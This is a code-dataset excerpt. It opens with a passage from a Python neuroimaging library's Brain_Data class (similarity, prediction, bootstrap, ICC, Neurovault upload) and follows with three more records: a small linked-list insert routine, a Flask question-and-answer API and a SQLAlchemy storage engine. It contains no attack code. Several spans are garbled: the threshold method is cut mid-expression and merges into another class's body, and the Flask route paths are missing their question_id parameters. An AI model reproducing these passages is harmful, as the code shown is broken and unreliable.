similarity(self, image, method='correlation'):\n \"\"\" Calculate similarity of Brain_Data() instance with single Brain_Data or Nibabel image\n\n Args:\n image: Brain_Data or Nibabel instance of weight map\n\n Returns:\n pexp: Outputs a vector of pattern expression values\n\n \"\"\"\n\n if not isinstance(image, Brain_Data):\n if isinstance(image, nib.Nifti1Image):\n image = Brain_Data(image)\n else:\n raise ValueError(\"Image is not a Brain_Data or nibabel instance\")\n dim = image.shape()\n\n\n # Check to make sure masks are the same for each dataset and if not create a union mask\n # This might be handy code for a new Brain_Data method\n if np.sum(self.nifti_masker.mask_img.get_data()==1)!=np.sum(image.nifti_masker.mask_img.get_data()==1):\n new_mask = intersect_masks([self.nifti_masker.mask_img, image.nifti_masker.mask_img], threshold=1, connected=False)\n new_nifti_masker = NiftiMasker(mask_img=new_mask)\n data2 = new_nifti_masker.fit_transform(self.to_nifti())\n image2 = new_nifti_masker.fit_transform(image.to_nifti())\n else:\n data2 = self.data\n image2 = image.data\n\n\n # Calculate pattern expression\n if method is 'dot_product':\n if len(image2.shape) > 1:\n if image2.shape[0]>1:\n pexp = []\n for i in range(image2.shape[0]):\n pexp.append(np.dot(data2, image2[i,:]))\n pexp = np.array(pexp)\n else:\n pexp = np.dot(data2, image2)\n else:\n pexp = np.dot(data2, image2)\n elif method is 'correlation':\n if len(image2.shape) > 1:\n if image2.shape[0]>1:\n pexp = []\n for i in range(image2.shape[0]):\n pexp.append(pearson(image2[i,:], data2))\n pexp = np.array(pexp)\n else:\n pexp = pearson(image2, data2)\n else:\n pexp = pearson(image2, data2)\n return pexp\n\n def distance(self, method='euclidean', **kwargs):\n \"\"\" Calculate distance between images within a Brain_Data() instance.\n\n Args:\n method: type of distance metric (can use any scikit learn or sciypy metric)\n\n Returns:\n dist: Outputs a 2D distance matrix.\n\n \"\"\"\n\n return Adjacency(pairwise_distances(self.data, metric = method, **kwargs), matrix_type='Distance')\n\n def multivariate_similarity(self, images, method='ols'):\n \"\"\" Predict spatial distribution of Brain_Data() instance from linear combination of other Brain_Data() instances or Nibabel images\n\n Args:\n self: Brain_Data instance of data to be applied\n images: Brain_Data instance of weight map\n\n Returns:\n out: dictionary of regression statistics in Brain_Data instances {'beta','t','p','df','residual'}\n\n \"\"\"\n ## Notes: Should add ridge, and lasso, elastic net options options\n\n if len(self.shape()) > 1:\n raise ValueError(\"This method can only decompose a single brain image.\")\n\n if not isinstance(images, Brain_Data):\n raise ValueError(\"Images are not a Brain_Data instance\")\n dim = images.shape()\n\n # Check to make sure masks are the same for each dataset and if not create a union mask\n # This might be handy code for a new Brain_Data method\n if np.sum(self.nifti_masker.mask_img.get_data()==1)!=np.sum(images.nifti_masker.mask_img.get_data()==1):\n new_mask = intersect_masks([self.nifti_masker.mask_img, images.nifti_masker.mask_img], threshold=1, connected=False)\n new_nifti_masker = NiftiMasker(mask_img=new_mask)\n data2 = new_nifti_masker.fit_transform(self.to_nifti())\n image2 = new_nifti_masker.fit_transform(images.to_nifti())\n else:\n data2 = self.data\n image2 = images.data\n\n # Add intercept and transpose\n image2 = np.vstack((np.ones(image2.shape[1]),image2)).T\n\n # Calculate pattern expression\n if method is 'ols':\n b = np.dot(np.linalg.pinv(image2), data2)\n res = data2 - np.dot(image2,b)\n sigma = np.std(res,axis=0)\n stderr = np.dot(np.matrix(np.diagonal(np.linalg.inv(np.dot(image2.T,image2)))**.5).T,np.matrix(sigma))\n t_out = b /stderr\n df = image2.shape[0]-image2.shape[1]\n p = 2*(1-t.cdf(np.abs(t_out),df))\n else:\n raise NotImplementedError\n\n return {'beta':b, 't':t_out, 'p':p, 'df':df, 'sigma':sigma, 'residual':res}\n\n def predict(self, algorithm=None, cv_dict=None, plot=True, **kwargs):\n\n \"\"\" Run prediction\n\n Args:\n algorithm: Algorithm to use for prediction. Must be one of 'svm', 'svr',\n 'linear', 'logistic', 'lasso', 'ridge', 'ridgeClassifier','randomforest',\n or 'randomforestClassifier'\n cv_dict: Type of cross_validation to use. A dictionary of\n {'type': 'kfolds', 'n_folds': n},\n {'type': 'kfolds', 'n_folds': n, 'stratified': Y},\n {'type': 'kfolds', 'n_folds': n, 'subject_id': holdout}, or\n {'type': 'loso', 'subject_id': holdout}\n where 'n' = number of folds, and 'holdout' = vector of subject ids that corresponds to self.Y\n plot: Boolean indicating whether or not to create plots.\n **kwargs: Additional keyword arguments to pass to the prediction algorithm\n\n Returns:\n output: a dictionary of prediction parameters\n\n \"\"\"\n\n # Set algorithm\n if algorithm is not None:\n predictor_settings = set_algorithm(algorithm, **kwargs)\n else:\n # Use SVR as a default\n predictor_settings = set_algorithm('svr', **{'kernel':\"linear\"})\n\n # Initialize output dictionary\n output = {}\n output['Y'] = np.array(self.Y).flatten()\n \n # Overall Fit for weight map\n predictor = predictor_settings['predictor']\n predictor.fit(self.data, output['Y'])\n output['yfit_all'] = predictor.predict(self.data)\n if predictor_settings['prediction_type'] == 'classification':\n if predictor_settings['algorithm'] not in ['svm','ridgeClassifier','ridgeClassifierCV']:\n output['prob_all'] = predictor.predict_proba(self.data)[:,1]\n else:\n output['dist_from_hyperplane_all'] = predictor.decision_function(self.data)\n if predictor_settings['algorithm'] == 'svm' and predictor.probability:\n output['prob_all'] = predictor.predict_proba(self.data)[:,1]\n \n # Intercept\n if predictor_settings['algorithm'] == 'pcr':\n output['intercept'] = predictor_settings['_regress'].intercept_\n elif predictor_settings['algorithm'] == 'lassopcr':\n output['intercept'] = predictor_settings['_lasso'].intercept_\n else:\n output['intercept'] = predictor.intercept_\n\n # Weight map\n output['weight_map'] = self.empty()\n if predictor_settings['algorithm'] == 'lassopcr':\n output['weight_map'].data = np.dot(predictor_settings['_pca'].components_.T,predictor_settings['_lasso'].coef_)\n elif predictor_settings['algorithm'] == 'pcr':\n output['weight_map'].data = np.dot(predictor_settings['_pca'].components_.T,predictor_settings['_regress'].coef_)\n else:\n output['weight_map'].data = predictor.coef_.squeeze()\n\n # Cross-Validation Fit\n if cv_dict is not None:\n cv = set_cv(Y=self.Y, cv_dict=cv_dict)\n\n predictor_cv = predictor_settings['predictor']\n output['yfit_xval'] = output['yfit_all'].copy()\n output['intercept_xval'] = []\n output['weight_map_xval'] = output['weight_map'].copy()\n output['cv_idx'] = []\n wt_map_xval = [];\n if predictor_settings['prediction_type'] == 'classification':\n if predictor_settings['algorithm'] not in ['svm','ridgeClassifier','ridgeClassifierCV']:\n output['prob_xval'] = np.zeros(len(self.Y))\n else:\n output['dist_from_hyperplane_xval'] = np.zeros(len(self.Y))\n if predictor_settings['algorithm'] == 'svm' and predictor_cv.probability:\n output['prob_xval'] = np.zeros(len(self.Y))\n\n for train, test in cv:\n predictor_cv.fit(self.data[train], self.Y.loc[train])\n output['yfit_xval'][test] = predictor_cv.predict(self.data[test])\n if predictor_settings['prediction_type'] == 'classification':\n if predictor_settings['algorithm'] not in ['svm','ridgeClassifier','ridgeClassifierCV']:\n output['prob_xval'][test] = predictor_cv.predict_proba(self.data[test])[:,1]\n else:\n output['dist_from_hyperplane_xval'][test] = predictor_cv.decision_function(self.data[test])\n if predictor_settings['algorithm'] == 'svm' and predictor_cv.probability:\n output['prob_xval'][test] = predictor_cv.predict_proba(self.data[test])[:,1]\n # Intercept\n if predictor_settings['algorithm'] == 'pcr':\n output['intercept_xval'].append(predictor_settings['_regress'].intercept_)\n elif predictor_settings['algorithm'] == 'lassopcr':\n output['intercept_xval'].append(predictor_settings['_lasso'].intercept_)\n else:\n output['intercept_xval'].append(predictor_cv.intercept_)\n output['cv_idx'].append((train,test))\n\n # Weight map\n if predictor_settings['algorithm'] == 'lassopcr':\n wt_map_xval.append(np.dot(predictor_settings['_pca'].components_.T,predictor_settings['_lasso'].coef_))\n elif predictor_settings['algorithm'] == 'pcr':\n wt_map_xval.append(np.dot(predictor_settings['_pca'].components_.T,predictor_settings['_regress'].coef_))\n else:\n wt_map_xval.append(predictor_cv.coef_.squeeze())\n output['weight_map_xval'].data = np.array(wt_map_xval)\n \n # Print Results\n if predictor_settings['prediction_type'] == 'classification':\n output['mcr_all'] = np.mean(output['yfit_all']==np.array(self.Y).flatten())\n print('overall accuracy: %.2f' % output['mcr_all'])\n if cv_dict is not None:\n output['mcr_xval'] = np.mean(output['yfit_xval']==np.array(self.Y).flatten())\n print('overall CV accuracy: %.2f' % output['mcr_xval'])\n elif predictor_settings['prediction_type'] == 'prediction':\n output['rmse_all'] = np.sqrt(np.mean((output['yfit_all']-output['Y'])**2))\n output['r_all'] = np.corrcoef(output['Y'],output['yfit_all'])[0,1]\n print('overall Root Mean Squared Error: %.2f' % output['rmse_all'])\n print('overall Correlation: %.2f' % output['r_all'])\n if cv_dict is not None:\n output['rmse_xval'] = np.sqrt(np.mean((output['yfit_xval']-output['Y'])**2))\n output['r_xval'] = np.corrcoef(output['Y'],output['yfit_xval'])[0,1]\n print('overall CV Root Mean Squared Error: %.2f' % output['rmse_xval'])\n print('overall CV Correlation: %.2f' % output['r_xval'])\n\n # Plot\n if plot:\n if cv_dict is not None:\n if predictor_settings['prediction_type'] == 'prediction':\n fig2 = scatterplot(pd.DataFrame({'Y': output['Y'], 'yfit_xval':output['yfit_xval']}))\n elif predictor_settings['prediction_type'] == 'classification':\n if predictor_settings['algorithm'] not in ['svm','ridgeClassifier','ridgeClassifierCV']:\n output['roc'] = Roc(input_values=output['prob_xval'], binary_outcome=output['Y'].astype('bool'))\n else:\n output['roc'] = Roc(input_values=output['dist_from_hyperplane_xval'], binary_outcome=output['Y'].astype('bool'))\n if predictor_settings['algorithm'] == 'svm' and predictor_cv.probability:\n output['roc'] = Roc(input_values=output['prob_xval'], binary_outcome=output['Y'].astype('bool'))\n fig2 = output['roc'].plot()\n # output['roc'].summary()\n fig1=output['weight_map'].plot()\n\n return output\n\n def bootstrap(self, analysis_type=None, n_samples=10, save_weights=False, **kwargs):\n \"\"\" Bootstrap various Brain_Data analaysis methods (e.g., mean, std, regress, predict). Currently \n\n Args:\n analysis_type: Type of analysis to bootstrap (mean,std,regress,predict)\n n_samples: Number of samples to boostrap\n **kwargs: Additional keyword arguments to pass to the analysis method\n\n Returns:\n output: a dictionary of prediction parameters\n\n \"\"\"\n\n # Notes:\n # might want to add options for [studentized, percentile, bias corrected, bias corrected accelerated] methods\n # Regress method is pretty convoluted and slow, this should be optimized better. \n\n def summarize_bootstrap(sample):\n \"\"\" Calculate summary of bootstrap samples\n\n Args:\n sample: Brain_Data instance of samples\n\n Returns:\n output: dictionary of Brain_Data summary images\n \n \"\"\"\n\n output = {}\n\n # Calculate SE of bootstraps\n wstd = sample.std()\n wmean = sample.mean()\n wz = deepcopy(wmean)\n wz.data = wmean.data / wstd.data\n wp = deepcopy(wmean)\n wp.data = 2*(1-norm.cdf(np.abs(wz.data)))\n\n # Create outputs\n output['Z'] = wz\n output['p'] = wp\n output['mean'] = wmean\n if save_weights:\n output['samples'] = sample\n\n return output\n\n analysis_list = ['mean','std','regress','predict']\n \n if analysis_type in analysis_list:\n data_row_id = range(self.shape()[0])\n sample = self.empty()\n if analysis_type is 'regress': #initialize dictionary of empty betas\n beta={}\n for i in range(self.X.shape[1]):\n beta['b' + str(i)] = self.empty()\n for i in range(n_samples):\n this_sample = np.random.choice(data_row_id, size=len(data_row_id), replace=True) # gives sampled row numbers\n if analysis_type is 'mean':\n sample = sample.append(self[this_sample].mean())\n elif analysis_type is 'std':\n sample = sample.append(self[this_sample].std())\n elif analysis_type is 'regress':\n out = self[this_sample].regress()\n # Aggegate bootstraps for each beta separately\n for i, b in enumerate(beta.iterkeys()):\n beta[b]=beta[b].append(out['beta'][i])\n elif analysis_type is 'predict':\n if 'algorithm' in kwargs:\n algorithm = kwargs['algorithm']\n del kwargs['algorithm']\n else:\n algorithm='ridge'\n if 'cv_dict' in kwargs:\n cv_dict = kwargs['cv_dict']\n del kwargs['cv_dict']\n else:\n cv_dict=None\n if 'plot' in ['kwargs']:\n plot=kwargs['plot']\n del kwargs['plot']\n else:\n plot=False\n out = self[this_sample].predict(algorithm=algorithm,cv_dict=cv_dict, plot=plot,**kwargs)\n sample = sample.append(out['weight_map'])\n else:\n raise ValueError('The analysis_type you specified (%s) is not yet implemented.' % (analysis_type))\n\n # Save outputs\n if analysis_type is 'regress':\n reg_out={}\n for i, b in enumerate(beta.iterkeys()):\n reg_out[b] = summarize_bootstrap(beta[b])\n output = {}\n for b in reg_out.iteritems():\n for o in b[1].iteritems():\n if o[0] in output:\n output[o[0]] = output[o[0]].append(o[1])\n else:\n output[o[0]]=o[1]\n else:\n output = summarize_bootstrap(sample)\n return output\n\n def apply_mask(self, mask):\n \"\"\" Mask Brain_Data instance\n\n Args:\n mask: mask (Brain_Data or nifti object)\n \n \"\"\"\n\n if isinstance(mask,Brain_Data):\n mask = mask.to_nifti() # convert to nibabel\n if not isinstance(mask, nib.Nifti1Image):\n if type(mask) is str:\n if os.path.isfile(mask):\n mask = nib.load(mask)\n # Check if mask need to be resampled into Brain_Data mask space\n if not ((self.mask.get_affine()==mask.get_affine()).all()) & (self.mask.shape[0:3]==mask.shape[0:3]):\n mask = resample_img(mask,target_affine=self.mask.get_affine(),target_shape=self.mask.shape)\n else:\n raise ValueError(\"Mask is not a nibabel instance, Brain_Data instance, or a valid file name.\")\n\n masked = deepcopy(self)\n nifti_masker = NiftiMasker(mask_img=mask)\n masked.data = nifti_masker.fit_transform(self.to_nifti())\n if len(self.data.shape) > 2:\n masked.data = masked.data.squeeze()\n masked.nifti_masker = nifti_masker\n if len(masked.shape()) > 1 & masked.shape()[0]==1:\n masked.data = masked.data.flatten()\n return masked\n\n def searchlight(self, ncores, process_mask=None, parallel_out=None, radius=3, walltime='24:00:00', \\\n email=None, algorithm='svr', cv_dict=None, kwargs={}):\n \n if len(kwargs) is 0:\n kwargs['kernel']= 'linear'\n \n # new parallel job\n pbs_kwargs = {'algorithm':algorithm,\\\n 'cv_dict':cv_dict,\\\n 'predict_kwargs':kwargs}\n #cv_dict={'type': 'kfolds','n_folds': 5,'stratified':dat.Y}\n\n parallel_job = PBS_Job(self, parallel_out=parallel_out, process_mask=process_mask, radius=radius, kwargs=pbs_kwargs)\n\n # make and store data we will need to access on the worker core level\n parallel_job.make_searchlight_masks()\n cPickle.dump(parallel_job, open(os.path.join(parallel_out,\"pbs_searchlight.pkl\"), \"w\"))\n\n #make core startup script (python)\n parallel_job.make_startup_script(\"core_startup.py\")\n \n # make email notification script (pbs)\n if type(email) is str:\n parallel_job.make_pbs_email_alert(email)\n\n # make pbs job submission scripts (pbs)\n for core_i in range(ncores):\n script_name = \"core_pbs_script_\" + str(core_i) + \".pbs\"\n parallel_job.make_pbs_scripts(script_name, core_i, ncores, walltime) # create a script\n print(\"python \" + os.path.join(parallel_out, script_name))\n os.system( \"qsub \" + os.path.join(parallel_out, script_name) ) # run it on a core\n\n def extract_roi(self, mask, method='mean'):\n \"\"\" Extract activity from mask\n\n Args:\n mask: nibabel mask can be binary or numbered for different rois\n method: type of extraction method (default=mean) \n\n Returns:\n out: mean within each ROI across images\n \n \"\"\"\n\n if not isinstance(mask, Brain_Data):\n if isinstance(mask, nib.Nifti1Image):\n mask = Brain_Data(mask)\n else:\n raise ValueError('Make sure mask is a Brain_Data or nibabel instance')\n\n # make sure each ROI id is an integer\n mask.data = np.round(mask.data).astype(int)\n\n if len(np.unique(mask.data)) == 2:\n if method is 'mean':\n out = np.mean(self.data[:,np.where(mask.data)].squeeze(),axis=1)\n elif len(np.unique(mask.data)) > 2:\n all_mask = expand_mask(mask)\n out = []\n for i in range(all_mask.shape()[0]):\n if method is 'mean':\n out.append(np.mean(self.data[:,np.where(all_mask[i].data)].squeeze(),axis=1))\n out = np.array(out)\n\n return out\n\n def icc(self, icc_type='icc2'):\n ''' Calculate intraclass correlation coefficient for data within Brain_Data class\n \n ICC Formulas are based on:\n Shrout, P. E., & Fleiss, J. L. (1979). Intraclass correlations: uses in assessing rater reliability. \n Psychological bulletin, 86(2), 420.\n\n icc1: x_ij = mu + beta_j + w_ij\n icc2/3: x_ij = mu + alpha_i + beta_j + (ab)_ij + epsilon_ij\n\n Code modifed from nipype algorithms.icc\n https://github.com/nipy/nipype/blob/master/nipype/algorithms/icc.py\n \n Args:\n icc_type: type of icc to calculate (icc: voxel random effect, icc2: voxel and column random effect, icc3: voxel and column fixed effect)\n\n Returns:\n ICC: intraclass correlation coefficient\n\n '''\n \n Y = self.data.T\n [n, k] = Y.shape\n\n # Degrees of Freedom\n dfc = k - 1\n dfe = (n - 1) * (k-1)\n dfr = n - 1\n\n # Sum Square Total\n mean_Y = np.mean(Y)\n SST = ((Y - mean_Y) ** 2).sum()\n\n # create the design matrix for the different levels\n x = np.kron(np.eye(k), np.ones((n, 1))) # sessions\n x0 = np.tile(np.eye(n), (k, 1)) # subjects\n X = np.hstack([x, x0])\n\n # Sum Square Error\n predicted_Y = np.dot(np.dot(np.dot(X, np.linalg.pinv(np.dot(X.T, X))), X.T), Y.flatten('F'))\n residuals = Y.flatten('F') - predicted_Y\n SSE = (residuals ** 2).sum()\n\n MSE = SSE / dfe\n\n # Sum square column effect - between colums\n SSC = ((np.mean(Y, 0) - mean_Y) ** 2).sum() * n\n MSC = SSC / dfc / n\n \n # Sum Square subject effect - between rows/subjects\n SSR = SST - SSC - SSE\n MSR = SSR / dfr\n\n if icc_type == 'icc1':\n # ICC(2,1) = (mean square subject - mean square error) / (mean square subject + (k-1)*mean square error + k*(mean square columns - mean square error)/n)\n # ICC = (MSR - MSRW) / (MSR + (k-1) * MSRW)\n NotImplementedError(\"This method isn't implemented yet.\")\n \n elif icc_type == 'icc2':\n # ICC(2,1) = (mean square subject - mean square error) / (mean square subject + (k-1)*mean square error + k*(mean square columns - mean square error)/n)\n ICC = (MSR - MSE) / (MSR + (k-1) * MSE + k * (MSC - MSE) / n)\n\n elif icc_type =='icc3':\n # ICC(3,1) = (mean square subject - mean square error) / (mean square subject + (k-1)*mean square error)\n ICC = (MSR - MSE) / (MSR + (k-1) * MSE)\n\n return ICC\n\n def detrend(self, method='linear'):\n \"\"\" Remove linear trend from each voxel\n \n Args:\n type: {'linear','constant'} optional \n\n Returns:\n out: detrended Brain_Data instance\n \n \"\"\"\n\n if len(self.shape())==1:\n raise ValueError('Make sure there is more than one image in order to detrend.')\n\n out = deepcopy(self)\n out.data = detrend(out.data,type=method, axis=0)\n return out\n\n def copy(self):\n \"\"\" Create a copy of a Brain_Data instance. \"\"\"\n\n return deepcopy(self)\n\n def upload_neurovault(self, access_token=None, collection_name=None, collection_id=None, \n img_type=None, img_modality=None,**kwargs):\n \"\"\" Upload Data to Neurovault. Will add any columns in self.X to image metadata. Index will be used as image name.\n \n Args:\n access_token: (Required) Neurovault api access token\n collection_name: (Optional) name of new collection to create\n collection_id: (Optional) neurovault collection_id if adding images to existing collection\n img_type: (Required) Neurovault map_type\n img_modality: (Required) Neurovault image modality\n\n Returns:\n collection: neurovault collection information\n \n \"\"\"\n\n if access_token is None:\n raise ValueError('You must supply a valid neurovault access token')\n\n api = Client(access_token=access_token)\n\n # Check if collection exists\n if collection_id is not None:\n collection = api.get_collection(collection_id)\n else:\n try:\n collection = api.create_collection(collection_name)\n except:\n raise ValueError('Collection Name already exists. Pick a different name or specify an existing collection id')\n\n tmp_dir = os.path.join(tempfile.gettempdir(), str(os.times()[-1]))\n os.makedirs(tmp_dir)\n for i,x in enumerate(self):\n if not self.X.empty:\n if isinstance(x.X.name,str):\n img_name = x.X.name\n else:\n img_name = collection['name'] + '_' + str(i) + '.nii.gz'\n else:\n img_name = collection['name'] + '_' + str(i) + '.nii.gz'\n f_path = os.path.join(tmp_dir,img_name)\n x.write(f_path)\n if not x.X.empty:\n kwargs.update(dict([(k,x.X.loc[k]) for k in x.X.keys()]))\n image = api.add_image(\n collection['id'],\n f_path,\n name=img_name,\n modality=img_modality,\n map_type=img_type,\n **kwargs\n )\n shutil.rmtree(tmp_dir, ignore_errors=True)\n return collection\n\n def r_to_z(self):\n ''' Apply Fisher's r to z transformation to each element of the data object.'''\n\n out = self.copy()\n out.data = fisher_r_to_z(out.data)\n return out\n\n def dtype(self):\n ''' Get data type of Brain_Data.data.'''\n return self.data.dtype\n\n def astype(self,dtype):\n ''' Cast Brain_Data.data as type.\n\n Args:\n dtype: datatype to convert\n\n Returns:\n Brain_Data: Brain_Data instance with new datatype\n \n '''\n\n out = self.copy()\n out.data = out.data.astype(dtype)\n return out\n\n def groupby(self,mask):\n '''Create groupby instance'''\n return Groupby(self,mask)\n\n def aggregate(self, mask, func):\n '''Create new Brain_Data instance that aggregages func over mask'''\n dat = self.groupby(mask)\n values = dat.apply(func)\n return dat.combine(values)\n\n def threshold(self, threshold=0, binarize=False):\n '''Threshold Brain_Data instance\n \n Args:\n threshold: cutoff to threshold image (float). if 'threshold'=50%, will calculate percentile.\n binarize (bool): if 'binarize'=True then binarize output\n Returns:\n Brain_Data: thresholded Brain_Data instance\n \n '''\n\n b = self.copy()\n if isinstance(threshold,str):\n if threshold[-1] is '%':\n threshold = np.percentile(b.data, float(threshold[:-1]))\n if binarize:\n b.data = b.data>threshold\n else:\n b.data[b.data 2:\n mask = expand_mask(mask)\n else:\n raise ValueError('mask does not have enough groups.')\n \n self.mask = mask\n self.split(data,mask)\n\n def __repr__(self):\n return '%s.%s(len=%s)' % (\n self.__class__.__module__,\n self.__class__.__name__,\n len(self),\n )\n \n def __len__(self):\n return len(self.data)\n \n def __iter__(self):\n for x in self.data:\n yield (x,self.data[x])\n \n def __getitem__(self,index):\n if isinstance(index, int):\n return self.data[index]\n else:\n raise ValueError('Groupby currently only supports integer indexing')\n \n def split(self, data, mask):\n '''Split Brain_Data instance into separate masks and store as a dictionary.'''\n \n self.data = {}\n for i,m in enumerate(mask):\n self.data[i] = data.apply_mask(m)\n \n def apply(self, method):\n '''Apply Brain_Data instance methods to each element of Groupby object.'''\n return dict([(i,getattr(x,method)()) for i,x in self])\n \n def combine(self, value_dict):\n '''Combine value dictionary back into masks'''\n out = self.mask.copy().astype(float)\n for i in value_dict.iterkeys():\n if isinstance(value_dict[i],Brain_Data):\n if value_dict[i].shape()[0]==np.sum(self.mask[i].data):\n out.data[i,out.data[i,:]==1] = value_dict[i].data\n else:\n raise ValueError('Brain_Data instances are different shapes.')\n elif isinstance(value_dict[i],(float,int,bool,np.number)):\n out.data[i,:] = out.data[i,:]*value_dict[i]\n else:\n raise ValueError('No method for aggregation implented for %s yet.' % type(value_dict[i]))\n return out.sum()\n\ndef all_same(items):\n return np.all(x == items[0] for x in items)\n\n","sub_path":"nltools/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":63490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"313328194","text":"class Frob(object):\n def __init__(self, name):\n self.name = name\n self.before = None\n self.after = None\n def setBefore(self, before):\n # example: a.setBefore(b) sets b before a\n self.before = before\n def setAfter(self, after):\n # example: a.setAfter(b) sets b after a\n self.after = after\n def getBefore(self):\n return self.before\n def getAfter(self):\n return self.after\n def myName(self):\n return self.name\n\ndef insert(atMe, newFrob):\n\n if newFrob.myName() < atMe.myName():\n prev = atMe.getBefore()\n while newFrob.getAfter() == None:\n if prev == None:\n atMe.setBefore(newFrob)\n newFrob.setAfter(atMe)\n elif prev.myName() < newFrob.myName():\n atMe.setBefore(newFrob)\n newFrob.setAfter(atMe)\n newFrob.setBefore(prev)\n prev.setAfter(newFrob)\n else:\n atMe, prev = prev, prev.getBefore()\n if newFrob.myName() > atMe.myName():\n next = atMe.getAfter()\n while newFrob.getBefore() == None:\n if next == None:\n atMe.setAfter(newFrob)\n newFrob.setBefore(atMe)\n elif next.myName() > newFrob.myName():\n atMe.setAfter(newFrob)\n newFrob.setBefore(atMe)\n newFrob.setAfter(next)\n next.setBefore(newFrob)\n else:\n atMe, next = next, next.getAfter()\n","sub_path":"topsecret/frob.py","file_name":"frob.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"445801352","text":"from flask import Flask, jsonify, url_for, abort, request, make_response\nimport datetime\nimport os \n\napp = Flask(__name__)\n\nanswers = [{\"answer\": \"My first answer\",\n \"time\": str(datetime.datetime.now()),\n \"id\": 1\n }]\n\nquestions = [\n {\n \"id\": 1,\n \"title\": \"Python flask\",\n \"details\": \"how do I connect endpoints in APIs with flask?\",\n \"date\": str(datetime.datetime.now()),\n \"author\": \"Bobi\"\n },\n {\n \"id\": 2,\n \"title\": \"Javascript \",\n \"details\": \"Explain the use of javascript\",\n \"date\": str(datetime.datetime.now()),\n \"author\": \"Barbie\" \n }\n]\n\ndef make_new_question(question): \n new_question = {}\n for field in question:\n if field =='id':\n new_question['uri'] = url_for('get_one_question', question_id=question['id'], _external=True)\n else:\n new_question[field] = question[field]\n return new_question\n\n@app.errorhandler(404) \ndef not_found(error):\n return make_response(jsonify({'error': 'Not found'}), 404)\n\n@app.errorhandler(400) \ndef bad_request(error):\n return make_response(jsonify({'error': 'Invalid request/input'}), 400)\n\n@app.route('/stack/api/v1/questions', methods=['GET']) \ndef get_all_questions():\n \n return jsonify({'questions':[make_new_question(question) for question in questions]})\n\n\n@app.route('/stack/api/v1/questions/', methods=['GET'])\ndef get_one_question(question_id):\n question = [question for question in questions if question['id']== question_id]\n if len(question)==0:\n abort(404)\n return jsonify({'question': [make_new_question(question[0])]})\n\n@app.route('/stack/api/v1/questions', methods=['POST']) \ndef add_question():\n if not request.json or not 'title' in request.json:\n abort(400)\n question = {\n 'id': questions[-1]['id']+1,\n 'title': request.json['title'],\n 'details': request.json.get('details',\"\"), \n 'time': str(datetime.datetime.now())\n }\n questions.append(question)\n return jsonify({'question': [make_new_question(question)]}), 201\n\n\n@app.route('/stack/api/v1/questions/', methods=['DELETE']) \ndef delete_question(question_id):\n question = [question for question in questions if question['id'] == question_id]\n if len(question) == 0:\n abort(404)\n else:\n questions.remove(question[0])\n return make_response(jsonify({'deleted': 'Question has been deleted'}))\n \n@app.route('/stack/api/v1/questions/', methods=['PUT']) \ndef update_question(question_id):\n\n if not request.json or not 'details' in request.json:\n abort(400)\n\n question = [question for question in questions if question['id'] == question_id]\n if len(question) == 0:\n abort(404)\n\n question[0]['details'] = request.json['details']\n return jsonify({'question': [make_new_question(question[0])]}), 201\n\n@app.route('/stack/api/v1/questions//answer', methods=['POST'])\ndef add_answer(question_id):\n question = [question for question in questions if question['id'] == question_id]\n if len(question) == 0:\n abort(404)\n \n answer = {\n 'id': answers[-1]['id']+1,\n 'answer': request.json['answer'],\n 'time': str(datetime.datetime.now())\n }\n answers.append(answer)\n question[0]['answers'] = answers\n return jsonify({'question': [make_new_question(question[0])]}), 201\n \n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"api/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"487039934","text":"#!/usr/bin/python3\n\"\"\"Database storage engine using SQLAlchemy with a mysql+mysqldb database\nconnection\n\"\"\"\n\nimport os\nfrom models.base_model import Base\nfrom models.amenity import Amenity\nfrom models.city import City\nfrom models.place import Place\nfrom models.state import State\nfrom models.review import Review\nfrom models.user import User\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker, scoped_session\nname2class = {\n 'Amenity': Amenity,\n 'City': City,\n 'Place': Place,\n 'State': State,\n 'Review': Review,\n 'User': User\n}\n\n\nclass DBStorage:\n __engine = None\n __session = None\n\n def __init__(self):\n user = os.getenv('HBNB_MYSQL_USER')\n passwd = os.getenv('HBNB_MYSQL_PWD')\n host = os.getenv('HBNB_MYSQL_HOST')\n database = os.getenv('HBNB_MYSQL_DB')\n self.__engine = create_engine('mysql+mysqldb://{}:{}@{}/{}'\n .format(user, passwd, host, database),\n pool_pre_ping=True)\n if os.getenv('HBNB_ENV') == 'test':\n Base.metadata.drop_all(self.__engine)\n\n def all(self, cls=None):\n if not self.__session:\n self.reload()\n objects = {}\n if type(cls) == str:\n cls = name2class.get(cls, None)\n if cls:\n for obj in self.__session.query(cls):\n objects[obj.__class__.__name__ + '.' + obj.id] = obj\n else:\n for cls in name2class.values():\n for obj in self.__session.query(cls):\n objects[obj.__class__.__name__ + '.' + obj.id] = obj\n return objects\n\n def reload(self):\n session_factory = sessionmaker(bind=self.__engine,\n expire_on_commit=False)\n Base.metadata.create_all(self.__engine)\n self.__session = scoped_session(session_factory)\n\n def new(self, obj):\n self.__session.add(obj)\n\n def save(self):\n self.__session.commit()\n\n def delete(self, obj=None):\n if not self.__session:\n self.reload()\n if obj is not None:\n self.__session.delete(obj)\n\n def close(self):\n \"\"\"Dispose of current session if active\"\"\"\n self.__session.remove()\n","sub_path":"models/engine/db_storage.py","file_name":"db_storage.py","file_ext":"py","file_size_in_byte":2280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
